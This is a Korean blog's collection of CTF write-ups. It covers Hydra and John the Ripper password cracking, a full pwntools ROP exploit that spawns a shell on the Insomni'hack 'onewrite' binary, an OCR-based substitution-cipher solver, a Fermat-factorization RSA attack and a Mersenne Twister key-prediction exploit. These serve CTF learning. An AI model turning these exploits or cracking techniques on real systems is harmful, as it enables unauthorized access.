분류 전체보기

[WebHacking] Hydra 툴

2019. 2. 4. 18:26

네트워크 로그인/패스워드 크래킹 툴


추후 업데이트(?)할지도 모름

'Web & Network' 카테고리의 다른 글

SQL Injection Payload List  (0) 2019.11.21
Cloud9 사용  (0) 2019.05.21
[Web] 내장함수 사전(php.net)  (0) 2017.07.02
[Web] HTML entity  (0) 2017.07.02
SQL 인젝션  (0) 2017.07.02

필자의 팀은 bash 우회(\b\a\s\h)세미콜론 우회(ctrl+v + ctrl+j)를 통해 풀었으나..


타팀의 writeup을 보고 감탄해마지않아 글을 쓴다...


grep을 저렇게 멋지게 활용할 수 있다니 감탄할 따름.


grep -rnw "system" | wc -l         /// system을 포함하는 라이브러리 갯수 출력


grep -rnw "exit" | wc -l               // exit를 포함하는 라이브러리 갯수 출력


grep -rnw "ls \"%s\"" | wc -l        // ls "%s" 를 포함하는 라이브러리 갯수 출력


-r, --recursive : 서브 디렉토리의 파일까지 모두 출력 출처

-n, --line-number : 문자열이 들어있는 라인과 문두에 라인번호를 출력

-w, --word-regexp : pattern 이 전체 단어와 일치하는 줄만 출력, 단어의 일부로써 일치하는 경우가 아닌, 하나의 단어로써 일치하는 줄이 출력.



20000개중 exit인 15000개빼고 또 남은것중에 ls가 포함된 4999인것을 빼면 남는게 1개...



그 1개가 system(&s)인 라이브러리...

grep을 이리 멋지게 활용하다니... 대단;


나중에 써먹어야지 ㅎㅎ


'Write-up > Pwnable' 카테고리의 다른 글

[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30

이 놈의 main_arena offset을 못구해서 CTF 시간내에 문제를 못푼 적이 있다. 

(그것도 2번씩이나 ㅠㅠ.. 둘다 18.04환경이였는데; 필자가 18.04를 쓰지않는다.)


그래서 대체 어떻게하면 주어진 라이브러리파일(libc.so)에서 main_arena offset을 구해서 leak된 main_arena+88(or+96)와 계산하여

lib_base 주소를 구할까하며 찾아보다가 찾게 된 프로그램이다.


github : https://github.com/bash-c/main_arena_offset


사용법은 간단하다.

Usage:$ main_arena your_libc_path



screenshot

Description

File

onewrite

 is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337

간단한 문제입니다.

All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7fff979bf4a0
address : 140735736968352   
data : 12345678

프로그램을 실행하면 stack 이나 do_leak 함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다. 

그 후,  do_overwrite 함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다. 

[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and binary is "statically linked"

그러나 바이너리가 정적링크(statically linked)이기 때문에 stack 과 pie 둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.

  1. Leak PIE address
  2. Overwrite pie_addr + 0x2a55a3 with main address
  3. Program end. And the exit will be called after main returns.
    (it call __libc_csu_fini function)
  4. __libc_csu_fini function call QWORD [pie_addr + 0x2a55a3]. so we again jump to main function.
  5. Leak Stack address
  6. Write a ropchain in the bss
  7. Jump ropchain
  8. Get Shell

main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini 가 호출됩니다. 여기 <__ libc_csu_fini+40>에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.


6. Write a 'ropchain' in the 'bss' 이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다. 

return address를 조작할 때, 함수의 프롤로그에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.

main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)

그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.

이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret을 사용하여 ropchain을 실행하면 됩니다.

English writeup

The full exploit code

from pwn import *

#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")

def leak(select):
   conn.recvuntil(" > ")
   conn.sendline(str(select))
   leak_addr = int(conn.recvline().strip(), 16)
   return leak_addr

def write(addr, data):
   conn.recvuntil("address : ")
   conn.send(str(addr))
   conn.recvuntil("data : ")
   conn.send(data)

## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))

target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0   //   call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3		# main function address
write(target, p64(main))

## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr  + 0x28	# return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))


def write_arbitrary(addr, data):
   # stack_address += 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x28
   write(target, p64(main))

   # stack_address -= 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x18
   write(target, p64(main))

   # main_ret => main
   # free write! and return Main
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   log.info("writing")
   write(addr, data)	# free write

# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834

bss_address = pie_base + 0x2B38D0

log.info("pie_base : " + hex(pie_base))

# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")

idx = 2
def rop(data):
   global idx
   write_arbitrary(bss_address + idx*8, p64(data))
   idx+=1

# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)

def trigger_rop():
   stack_addr = leak(1)
   target = stack_addr  + 0x28
   log.info("stack_address : " + hex(stack_addr))
   write(target, p64(main))

   pop_rsp = pie_base + 0x00087c46
   rop_chain = bss_address + 0x10

   # jump ropchain
   write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
   write_arbitrary(stack_addr + 0x48, p64(rop_chain))

trigger_rop()
leak(1)
write(1,"id\n")

conn.interactive()


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13

[C] read 함수

2019. 1. 21. 12:45

pwnable 문제에서 보통 유저로부터 데이터를 받을 때 read(0, buf, 64); 이런식으로 받는 경우가 많다.

이 경우 stdin을 통해 buf에 64바이트를 받는다는 건데; 

유저가 64바이트를 꽉꽉채워서 데이터를 줄 수도 있고, 8바이트만 보내고 싶다면 정확히 8바이트만 보내줄수도 있다.

(여기서 \n포함하여보내면 \n까지 받아준다. 즉 엔터누르면 엔터까지 받아준다.)


분명히 알았던 사실인데; 쓸 때마다 헷갈려서 저번에 문제풀때도 많이 헤맸다;;

1바이트만 쓰고싶은데 그러면 어떻게할지 몰라서... \n만 보내거나 (1byte)\n식으로 해서 보냈었다;; 당연히 read가 받는 결과는

"\x10"이거나 "\x10\x61" 이런식이다.


pwntool을 이용한다면 conn.send("\x61")만 보내도 된다. 이런것도 잊고있었다니 ㅂㄷ...

X-MAS CTF에 나온 암호문제중 하나입니다. CTF는 12.14 ~ 12.21에 진행된 CTF로 크리스마스 분위기가 물씬 풍기는 CTF였습니다. (Christmas 당일까지 진행하지않은게 정말 다행이네요 ㅎㅎ;; )


Special Christmas Wishlist (50 pts)


Description

While Santa was looking through the wishlists of the childern all around the world he came across a very strange looking one. Help Santa decode the letter in order to fulfill the wishes of this child.

(Flag is Non-Standard)

UPDATE: flag is lowercase!

Author: Gabies

Files: 

wishlist.zip


문제는 조금 어렵게 나왔다고 생각했는데... 대회가 종료될때에 Solver가 124팀으로 점수는 50점까지 낮아졌습니다.


먼저 문제설명을 살펴보면 "산타가 전 세계 어린이들이 보내온 Wishlist를 보고있는데 이~상한 Wishlist를 발견했다고 합니다. 그 희망목록은 산타가 읽을 수 없는 문자들로 가득했는데...! 산타가 문자를 읽을 수 있게 도와 아이의 소원을 이루어주세요!" 같은 내용입니다.


그래서 주어진 첨부파일인 wishlist.png를 살펴보면 정말 알 수 없는 문자들로 가득 채워진 그림을 볼 수 있습니다. 이미지파일이 세로로 정말 길기 때문에 일부만 가져와보겠습니다.




이야... 진짜 무엇 하나도 키보드로 표현할 수 없는 문자들뿐입니다. 대체 이걸 어떻게 124팀이나 푼지 모르겠습니다 :(. 스코어에 등록된게 1378팀인데... 뭐 아무튼 이런 류의 문제들이 가끔식 CTF에서 나오는데요. 계속해서 못 풀다가 이번 기회에 그러면 아예 제대로 공부해놓자! 해서 이 문제를 가지고 Writeup을 작성하게되었습니다.


문제로 돌아와서 주어진 wishlist.png파일은 비아스키문자들과 공백으로 이루어진 문자가 73줄 나열되어있습니다. 또한 문자와 공백들의 나열을 보고 유추하건데, 이 문제는 단순치환암호(Simple Substitution Cipher)일 것으로 보입니다.


그렇다면 이제 저 이미지의 모든 문자를 알파벳으로 치환한 후, 빈도수 분석을 이용하여 문제를 풀 수 있을 것으로 보입니다. 그런데 이미지의 문자 하나하나를 손으로 직접 바꾸는 것은 정말 어려운 문제입니다 ㅡㅡ;


저번에 있었던 RITSEC CTF 2018의 Nobody uses the eggplant emoji 에서는 위 문제와 마찬가지로 비아스키문자들로 이루어진 단순치환암호였지만 텍스트파일로 주어져 쉽게 알파벳으로 치환할 수 있었습니다.




chal.txt 🤞👿🤓🥇🐼💩🤓🚫💪🤞🗣🙄🤓🥇🐼💩🤓😀😟🤓🍞🐼🚫💪🥇🤓🐼👿🤓🚫💪😟🤓👿😾😀😯🤓👿🤞🔥🚫🤓🥇🐼💩🤓👻💩🔥🚫🤓😀🗣🔥🍞😟🤓🚫💪😟🔥😟🤓🚫💪😟😟🤓💔💩😟🔥🚫🤞🐼🗣🔥😭🤓🍞💪😀🚫🤓🤞🔥🤓🥇🐼💩🤓🗣😀👻😟🤢🤓🍞💪😀🚫🤓🤞🔥🤓🥇🐼💩🤓💔💩😟🔥🚫🤢🤓🍞💪😀🚫🤓🤞🔥🤓🚫💪😟🤓😀🤞🤓🔥🐙😟😟😎🤓👀😟😾🐼🤬🤞🚫🥇🤓🐼👿🤓😀🗣🤓💩🗣😾😀😎😟🗣🤓🔥🍞😀😾😾🐼🍞😭🤓🥇🐼💩🤓👿😾😀😯🤓🤞🔥🤡🤓😀👿🤞🤬😀🗣_🐼_😟💩🐼🐙😟😀🗣_🔥🍞😀😾😾🐼🍞_🍞🐼🍞_🚫💪😟😟🔥_😀_😎🤞👿👿😟😟🗣🤬😟🤓 __


하지만 이번에 주어진 문제는 텍스트파일이 아닌 이미지파일로 주어졌기 때문에, 이미지파일에서 각 문자를 추출하여 아스키문자로 표현해줄 필요가 있습니다.




위와 같이 각 문자당 하나의 알파벳을 할당하는 것이 목표입니다. 이를 위해 파이썬 라이브러리인 Pillow를 사용하는데, Pillow는 PIL(Python Image Library)를 계승한 라이브러리입니다. 더이상 업데이트가 되지 않는 PIL 대신 사용하는 파이썬 라이브러리로 이를 통해 손쉽게 파이썬을 이용해서 이미지 파일을 다룰 수 있습니다.


from PIL import Image
from string import ascii_lowercase

img = Image.open('wishlist.png').convert('1', dither=False)
lines = scan(img)
print(translate(lines))


먼저 PIL을 통해 Image를 불러옵니다. 옵션과 모드로 1-bit-pixel mode 와 dither=False를 선택하는데, 1-bit-pixel mode는 black인지 white인지만 판별하는 모드로 위 이미지의 문자는 흑백의 두 색으로만 이루어져있으므로 1bit모드로 충분합니다. 또 dither를 False로 설정하였는데 이는 이미지 프로세싱에서 많이 쓰이는 디더링(Dithering)이라는 것으로, 제한된 색을 이용하여 음영이나 색을 나타내는 것이며, 여러 컬러의 색을 최대한 맞추는 과정입니다.


이 디더(dither)를 False로 설정하면 음영을 구분하지않아 흑백으로만 그림이 나타날 것이므로 좀 더 편하게 문자열을 구분할 수 있습니다.


def scan(img):
	lines = []
	line_x, line_y = 30, 0
	while True:
		x, y = search(img, line_x, line_y, True, fix_x=True)
		if (x, y)==(None, None): break
		line = []
		while True:
			x, y = search(img, x, y, True, fix_y=True)
			if (x, y)==(None, None): break
			letter = bfs(img, x, y)
			line.append(normalize(letter))
			(min_x, min_y), (max_x, max_y) = bounds(letter)
			x = max_x + 1
			y = (max_y + min_y) // 2
		lines.append(line)
		line_y = max_y + 30
	return lines


이제 맨 윗줄부터 왼쪽에서 오른쪽으로 이동하면서 이미지 위의 문자를 찾습니다. 여기서 중요한 점은 이미지 위에 나타난 모든 문자들이 끓어지지않고 연속된 선으로 이루어져있다는 것입니다. 그러므로 이를 너비우선탐색(BFS)를 통해 각 문자에 대해 트리를 만들수 있습니다.




def bfs(img, start_x, start_y):
	queue = [(start_x, start_y)]
	visited = set(queue)
	for x, y in queue:
		for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]:
			xx, yy = x + dx, y + dy
			if img.getpixel((xx, yy)) > 0:
				continue
			if (xx, yy) not in visited:
				queue.append((xx, yy))
				visited.add((xx, yy))
	return visited


이제 각 줄의 문자마다 만들어진 트리들을 가지고 같은 트리에는 같은 문자를 할당하여 나타내면 됩니다.


def translate(lines):
	alpha = dict()
	index = 0
	text = ''
	for line in lines:
		for letter in line:
			if letter not in alpha:
				alpha[letter] = ascii_lowercase[index]
				index += 1
			text += alpha[letter]
		text += '\n'
	return text


이제 이 소스코드를 실행하면 아래와 같은 결과를 얻을 수 있습니다.


abcdcefgahijdcefgkhelgldji
jdmbnngnbodapqhhrgifl
kcoaqggmjabllgllgchncsh
qbffhjsdlfhoceoqagml
bftgicemgmoeacdchhauadvsbcuk
csdjobmlkobaahslrgsgm
iglcdijlchmbjguhicbdigml
lodadijwdxhjbmfgilueavcemg
ahijfdlcbiugcheukabov
oeacduhahmhoqmglcgoagllsdigjablllgc
vgfglcbawgsgampkhafgm
bmcdlbibaqboqhhlbacukglc
bemhmblobmcadjkcdijvbigal
ckglgblgmvgicjbmfgilueavcemg
ckgyedcgbobxdijyeglcnhmyegmdgl
mgupuagfjabllcmggjahqglmgabcdhilkdvl
igsphmrcdogluelchonmhicvbjgvexxag
ckgqglcladijqgtgmbjguhhagm
cmdhodzgfogcbalgbmmdijl
qdmckohicknahsgmigurabug
bohckgmlahtgdlqgphifogblemglvhhilgc
sgffdijsbacxvgmlhibadxgfbmc
vgmlhibadxgfjhhfidjkcadccagogqhhr
uelchovgcihlgvmdicigurabugl
uelchovgcvdaahsl
ysgmcprgpqhbmf
aabobmbobabmjgxdvvgmvheuk
odohlbfdbjmbojabllsbmglgchnckmgg
ckbirphenhmphemvbmcdiopwhemigpigurabug
phjbvhlgkbijdijlueavcemgl
ckgqdrgukbdiqhsa
umdolhikgbmceoqmgaab
ckgyedxdildfgckgobxg
ogilkgmqbasbmodijladvvgml
phemlodigbifhemlgijmbtgffgubicgmlgc
ckgbiidtgmlbmpwhemiba
ohoobqdmfuenn
sdigqbmmgajedcbmmbur
ckgvaelkhmjbil
jbmadujmbcgmbifhdafdvvdijfdlk
hrchqgmnglcbagqggmqmgsdijrdc
obcglnhmadng
qhhrahtgmladjkcsgdjkclubmtgl
uhilcdcecdhihneidcgflcbcglhnbogmdubjabll
jhanjabllglvgscgmbijgauhdillgchncsgatg
qeiipngacqbqpladvvgml
vgmlhibadxgfcmggcmeirjabllsbmgfeh
gzvgucdijphebrggvlbrgvmgjibiupwhemiba
ckgqgmmpqeffp
ckgqdmfdgpbmiqhsa
rbickbukbifgadgmlgbmmdijl
vgmlhibadxgfoptgmphsiibogqhhr
eiduhmibifmbdiqhsodlobcukgfgbmmdijl
lahckvbalohqdag
qbchibqmbiuk
vgmlhibadxgfueccdijqhbmf
lohrgfgcguchmfgbucdtbcdhichsga
ckgaeigadjkc
vgmlhibadxgfbiidtgmlbmpvelkvdielbobv
ogilcbuhlhurl
gashhfckgeiduhmiugmgbaqhsa
ckgadccagvbcdgic
udmuaghnnbodapbifnmdgifllgmtdijqhsa
jabllnahsgmjbmfgiugicgmvdgug
qdmcklchigodigmbalhbvl
lgchnnhemjhanjabllgl
ckgugfbmckeoqvdbihl
uelchoobvuhblcgmlgc
qdjvgmlhibadcpfglrldjil
lgblchiglvablklvhijgkhafgm
phemohlcfgldmgfhqwgucckdlukmdlobl
ckgnabjdl
zoblphebmglhjhhfbcleqlcdcecdhiudvkgml


자 그럼 이제 분도수 분석을 통해, 단순치환암호를 풀면 됩니다. quipquip를 이용하면 쉽게 단순치환암호문제를 풀 수 있습니다.


latitude longitude house sign giraffe family book ends html beer glasses set of two bad dog wisdom tumblers adventurer multi tool clip watch twig marsh mallow skewer nesting storage containers smiling jizo garden sculpture long distance touch lamp multi color ombre stem less wine glass set pedestal jewelry holder artisan al bamboo salt chest aurora smart lighting panels the sea serpent garden sculpture the quite amazing quest for queries recycled glass tree globes relationships new york times custom front page puzzle the best sling beverage cooler trio mixed metals earrings birth month flower necklace a mothers love is beyond measure spoon set wedding waltz personalized art personalized good night little me book custom pet nose print necklaces custom pet pillows qwerty keyboard llama rama large zipper pouch mimosa diagram glass ware set of three thank you for your part in my journey necklace yoga pose hanging sculptures the bike chain bowl crimson heart umbrella the quiz inside the maze mens herbal warming slippers yours mine and ours engraved decanter set the anniversary journal momma bird cuff wine barrel guitar rack the plush organs garlic grater and oil dipping dish oktober festale beer brewing kit mates for life book lovers lightweights carves constitution of united states of america glass golf glasses pewter angel coins set of twelve bunny felt baby slippers personalized tree trunk glass ware duo expecting you a keepsake pregnancy journal the berry buddy the birdie yarn bowl kantha chandeliers earrings personalized my very own name book unicorn and rainbow mismatched earrings sloth pals mobile baton a branch personalized cutting board smoke detector deactivation towel the lune light personalized anniversary push pinus a map mens taco socks elwood the unicorn cereal bowl the little patient circle of family and friends serving bowl glass flower garden centerpiece birth stone mineral soaps set of four golf glasses the cedar thumb pianos custom map coaster set big personality desk signs sea stone splash sponge holder your most desired object this chrism as the flag is xmas you are so good at substitution ciphers


FLAG는 마지막 줄에 있습니다. flag is xmas you are so good at substitution ciphers


전체소스

#!/usr/bin/python3

from PIL import Image
from string import ascii_lowercase


def search(img, start_x, start_y, need_color, fix_x = False, fix_y = False):
	found = False
	for y in range(start_y, img.height) if not fix_y else [start_y]:
		for x in range(start_x, img.width) if not fix_x else [start_x]:
			color = (img.getpixel((x, y)) == 0)
			if (color and need_color) or (not color and not need_color):
				found = True
				break
		if found:
			break

	if found:
		return (x,y)
	else:
		return (None, None)


def bfs(img, start_x, start_y):
	queue = [(start_x, start_y)]
	visited = set(queue)
	for x, y in queue:
		for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]:
			xx, yy = x + dx, y + dy
			if img.getpixel((xx, yy)) > 0:
				continue
			if (xx, yy) not in visited:
				queue.append((xx, yy))
				visited.add((xx, yy))
	return visited


# search google : python zip(*list)
def bounds(letter):
	x, y = zip(*list(letter))
	min_x, min_y = min(x), min(y)
	max_x, max_y = max(x), max(y)
	return (min_x, min_y), (max_x, max_y)


def normalize(letter):
	(min_x, min_y), (max_x, max_y) = bounds(letter)
	normal = set()
	for x, y in letter:
		xx, yy = x - min_x, y - min_y
		normal.add((xx, yy))
	return frozenset(normal)

def scan(img):
	lines = []
	line_x, line_y = 30, 0
	while True:
		x, y = search(img, line_x, line_y, True, fix_x=True)
		if (x, y)==(None, None): break
		line = []
		while True:
			x, y = search(img, x, y, True, fix_y=True)
			if (x, y)==(None, None): break
			letter = bfs(img, x, y)
			line.append(normalize(letter))
			(min_x, min_y), (max_x, max_y) = bounds(letter)
			x = max_x + 1
			y = (max_y + min_y) // 2
		lines.append(line)
		line_y = max_y + 30
	return lines


def translate(lines):
	alpha = dict()
	index = 0
	text = ''
	for line in lines:
		for letter in line:
			if letter not in alpha:
				alpha[letter] = ascii_lowercase[index]
				index += 1
			text += alpha[letter]
		text += '\n'
	return text


def main():
	img = Image.open('wishlist.png').convert('1', dither=False)
	lines = scan(img)
	print(translate(lines))

if __name__ == '__main__':
	main()


'Write-up > Crypto' 카테고리의 다른 글

[VolgaCTF 2019] Blind  (0) 2019.04.03
[BSidesSF 2019] mixxer  (0) 2019.03.08
[MeepwnCTF 2018] Old School (Fermat's factorization attack)  (0) 2018.11.29
[noxCTF] PlotTwist (Mersenne Twister)  (0) 2018.11.26
[TUCTF 2018] JimmysCrypto (XOR 암호)  (0) 2018.11.26

조금 늦게 올리게되는 MeePwnCTF 2018 Qual에 나왔던 Old School이란 문제이다.


RSA에 익숙해졌다고 생각했는데, 당시 전혀 접근하지 못한 문제였는데; CTF가 끝나고 다른 팀의 Writeup을 보고 공부하였으나

결국 직접 소스코드를 짜보진 못하고 개념만 정리해서 블로그에 올렸었다.. (그것도 몇줄안되지만)


다시 한번 보자면, 이 문제는 Fermat's factorization attack에 관한 문제이다.


이 공격의 요점은 이렇다. 

N = p * q 인 N이 주어질때, p/q가 1에 근사하다면 Fermat's factorization으로 공격하여 p, q 값을 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import long_to_bytes
from gmpy2 import *
 
def xgcd(b, n):
    x0, x1, y0, y1 = 1001
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return b, x0, y0
    
def mul_inv(b, n):
    g, x, _ = xgcd(b, n)
    if g == 1:
        return x % n
    
def fermat_factor(n):
    assert n % 2 != 0
    
    a = isqrt(n)
    b2 = square(a) - n
    
    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)
    
    return int(p), int(q)
    
 
= 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199
= 65537
= 10768566524581730417282966534533772232170128646105592645274840624344800039953305762328123247486367933169410426551021676301441508080687130308882531249672782247453418751384028303096785698132140306753136583313099836328879191020815311025909775009768461235238724055399564994913948731120265357427622567179898229336239135361607806956357971819975387160453721508112358768552880424521729959498368682405606641964356553284372394601190105374421489502575623037672340535664494377154727704978673190317341737416683547852588813171964475428949505648909852833637140722157843587170747890226852432960545241872169453977768278393240010335066
 
p, q = fermat_factor(n)
phi = (p-1)*(q-1)
 
= mul_inv(e, phi)
plain = pow(c, d, n)
 
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))
 
print("flag : " + long_to_bytes(plain))
cs



JohnTheRipper를 이용해 password를 한번 크랙하고 나면, 그 zip파일의 password가 저장되기때문에, 다시 한번 크랙을 시도할 시 아래와 같이 뜬다.


$JohnTheRipper/run/john zip.hash


Using default input encoding: UTF-8

Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])

No password hashes left to crack (see FAQ)

 


이럴 때는 --show를 인자에 추가해서 넣거나, JohnTheRipper/run/john.pot 파일을 지워주면 다시 한번 크랙할 수 있다.


$ JohnTheRipper/run/john zip.hash --show


candle.zip:stegosaurus:::::candle.zip-flag.txt


1 password hash cracked, 0 left



'Crypto' 카테고리의 다른 글

RSA LSB Oracle Attack ( + 키 값 계속 바뀔 시도 가능)  (0) 2019.10.12
[Crypto] CTR 모드 공격 Break fixed-nonce CTR  (0) 2019.09.17
배낭암호(Knapshot)  (0) 2018.11.26
An ECB/CBC Mode and ECB Attack  (0) 2018.08.10
Breaking_XOR_Cipher  (0) 2018.08.03

내가 이 Plot Twist 문제의 롸업을 안올렸다니...


오랜만에 MT19937 Mersenne Twister RNG 에 관해서 다시 접하게되어서 저번에 noxCTF에 나왔던 관련 문제 롸업이나 보자! 하고 왔는데

내가 안올려놨었다 ㅡㅡ;;


나름 문제풀려고 고민고민하다가 검색을 통해서 관련 개념을 알게되서 푼 문제라서 롸업 올려놧을줄 알았는데;;


어찌됫든 기억난 김에 이렇게 써본다.


메르센 트위스터란 유사 난수 생성기이다. 메르센 트위스터의 이름은 난수의 반복 주기가 메르센 소수인 데에서 유래했다.

메르센 트위스터는 그 속도와 난수의 품질 때문에 점점 많은 곳에서 채택되고 있으며, 흔히 주기가 2^{19937}-1인 MT19937을 사용한다. 

MT19937과 같으나 생성해 내는 난수가 32비트가 아닌 64비트인 MT19937-64도 쓰이며, 2006년에 동일한 저자들이 발표한 SIMD 기반 메르센 트위스터는 MT19937에 비해 대략 두 배 정도 빠른 것으로 알려져 있다.


난수의 품질에도 불구하고, 메르센 트위스터는 암호학적으로 안전한 유사난수 생성기가 아니다. 즉 난수의 특성(주기, 난수 범위)을 알고 있을 때 유한한 수의 난수(이 경우 624개)만으로 현재 생성기의 상태를 알아 낼 수 있으며, 그 뒤에 나올 난수를 예측해 낼 수 있다. 암호학적으로 안전한 유사난수 생성기를 얻기 위해서는 해시 함수를 사용해야 하지만 난수의 생성 속도가 낮아진다. 또는 블룸 블룸 슙(BBS)과 같이 암호학적으로 안전하게 설계된 생성기를 쓸 수도 있다. 


출처 :: 위키피디아(메르센 트위스터)


문제는 아래와 같은 파일이 하나 주어진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import socket
import threading
import random
from Crypto.Cipher import AES
 
class ThreadedServer(object):
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))
        self.flag = open('flag.txt''r').read()
 
    def listen(self):
        self.sock.listen(20)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()
    
    def getKey(self, r):
        return str(r.getrandbits(32)).rjust(16'0')
 
    def pad(self, s):
        return s + chr(0)*((-len(s)) % 16)
 
    def encrypt(self, key, plaintext):
        aes = AES.new(key, AES.MODE_CBC, self.pad('SuperSecretIV'))
        return aes.encrypt(self.pad(plaintext))        
 
    def decrypt(self, key, ciphertext):
        aes = AES.new(key, AES.MODE_CBC, self.pad('SuperSecretIV'))
        return aes.decrypt(ciphertext)
 
    def listenToClient(self, client, address):
        client_flag = self.flag
        r = random.Random()
        key = self.getKey(r)
        client_flag = self.encrypt(key, client_flag)
        while True:
            try:
                client.send('Please insert the decryption key:\n')
                key_guess = client.recv(16)
                if key_guess == key:
                    client.send('Correct! Your flag is: ' + self.decrypt(key, client_flag) + '\n')
                    client.close()
                    break
                else:
                    client.send('Wrong! The key was: ' + key + '\n')
                    client_flag = self.decrypt(key, client_flag)
                    key = self.getKey(r)
                    client_flag = self.encrypt(key, client_flag)
            except Exception as e:
                print e
                client.close()
                return False
 
if __name__ == "__main__":
    ThreadedServer('0.0.0.0'5115).listen()
 
cs


서버에 접속하면 키를 입력해달라고 하고, 올바른 키를 입력하면 플래그를 뿌려준다.

잘못된 키를 입력하면 틀렸다면서 방금 쓰인 암호화 key를 출력해주고, key는 새로 설정된다. 


여기서 = random.Random()가 쓰이고 아래 함수를 통해 key를 획득하게 된다.


    def getKey(self, r):
        return str(r.getrandbits(32)).rjust(16'0')


Python의 random은 메르센 트위스터로 되어있어, 624개의 난수만 뽑아낸다면 다음 난수를 예측할 수 있다.

그러므로 624번 틀려서 key값을 알아내어 다음 값을 알아내는 것이 가능하다.


여기서 Mersenne Twister Crack 소스를 짜면 아주 멋지겠지만... 이미 구현되어있는것들이 많으니.. 그것들을 가져와 사용하겠다.

https://github.com/tna0y/Python-random-module-cracker


설명도 아주 잘되어있다.

그냥 적혀있는대로 쓰면된다.


아래는 필자가 작성한 공격코드이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
from pwn import *
import string
from randcrack import RandCrack
#https://github.com/tna0y/Python-random-module-cracker
 
 
conn = remote("chal.noxale.com"5115)
 
def get_key(rc):
    conn.recvuntil("Please insert the decryption key:\n")
    conn.send("0"*16*624)
        
    for i in range(624):
        conn.recvuntil("Wrong! The key was: ")
        key = conn.recv(16)
        rc.submit(int(key))
        conn.recvuntil("Please insert the decryption key:\n")
 
    key = str(rc.predict_getrandbits(32)).rjust(16'0')
    return key
 
rc = RandCrack()
key = get_key(rc)
conn.send(key)
 
conn.interactive()
 
 
 
cs





